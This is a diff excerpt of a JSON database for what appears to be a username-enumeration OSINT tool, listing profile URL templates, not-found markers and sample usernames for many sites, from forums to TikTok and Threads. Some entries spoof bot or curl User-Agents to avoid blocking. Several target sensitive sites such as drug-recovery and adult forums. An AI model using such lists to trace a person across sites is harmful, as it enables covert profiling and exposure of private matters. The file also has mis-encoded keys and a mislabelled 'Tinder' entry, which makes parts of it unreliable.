}, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorMsg3": "Hagakure", + "errorTyp��": "message", + "url": "https://sysadmins.ru/member{}.html", + "urlMain": "https://sysadmins.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Sysprogs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://sysprogs.com/w/forums/users/{}/", + "urlMain": "https://sysprogs.com", + "usernameON": "jamessmith", + "comments": "RKN", + "bad_site": "" + }, + "Sythe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + 